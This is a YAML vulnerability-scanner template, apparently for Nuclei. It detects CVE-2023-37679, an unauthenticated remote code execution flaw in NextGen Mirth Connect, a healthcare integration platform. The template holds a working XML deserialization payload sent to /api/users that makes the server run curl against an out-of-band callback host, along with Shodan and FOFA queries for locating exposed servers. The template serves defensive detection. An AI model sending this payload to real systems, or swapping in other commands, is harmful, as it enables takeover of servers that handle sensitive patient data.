NextGen Mirth Connect - Remote Code Execution

id: CVE-2023-37679

info:
  name: NextGen Mirth Connect - Remote Code Execution
  author: iamnoooob,rootxharsh,pdresearch
  severity: critical
  description: |
    Mirth Connect, by NextGen HealthCare, is an open source data integration platform widely used by healthcare companies. Versions prior to 4.4.1 are vulnerable to an unauthenticated remote code execution vulnerability
  impact: |
    Unauthenticated attackers can exploit XML deserialization vulnerabilities to execute arbitrary code on the Mirth Connect server, potentially compromising sensitive healthcare data and integration workflows.
  remediation: |
    Update NextGen Mirth Connect to version 4.4.1 or later that properly validates XML input and prevents unsafe deserialization attacks.
  reference:
    - https://www.horizon3.ai/nextgen-mirth-connect-remote-code-execution-vulnerability-cve-2023-43208/
    - https://nvd.nist.gov/vuln/detail/CVE-2023-37679
    - http://mirth.com
    - http://nextgen.com
    - http://packetstormsecurity.com/files/176920/Mirth-Connect-4.4.0-Remote-Command-Execution.html
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2023-37679
    cwe-id: CWE-77
    epss-score: 0.99434
    epss-percentile: 0.99942
    cpe: cpe:2.3:a:nextgen:mirth_connect:4.3.0:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: nextgen
    product: mirth_connect
    shodan-query:
      - title:"mirth connect administrator"
      - http.title:"mirth connect administrator"
    fofa-query: title="mirth connect administrator"
    google-query: intitle:"mirth connect administrator"
  tags: packetstorm,cve2023,cve,nextgen,rce,vkev,vuln

http:
  - raw:
      - |
        GET /api/server/version HTTP/1.1
        Host: {{Hostname}}
        X-Requested-With: OpenAPI
      - |
        POST /api/users HTTP/1.1
        Host: {{Hostname}}
        X-Requested-With: OpenAPI
        Content-Type: application/xml

        <sorted-set>
            <string>foo</string>
            <dynamic-proxy>
                <interface>java.lang.Comparable</interface>
                <handler class="java.beans.EventHandler">
                    <target class="java.lang.ProcessBuilder">
                        <command>
                            <string>curl</string>
                            <string>http://{{interactsh-url}}/</string>
                        </command>
                    </target>
                    <action>start</action>
                </handler>
            </dynamic-proxy>
        </sorted-set>

    matchers:
      - type: dsl
        dsl:
          - 'compare_versions(version, "<4.4.1")'
          - 'contains(interactsh_protocol, "dns")'
          - 'status_code_1 == 200 && status_code_2 == 500'
        condition: and

    extractors:
      - type: regex
        part: body_1
        name: version
        group: 1
        regex:
          - '(.*)'
        internal: true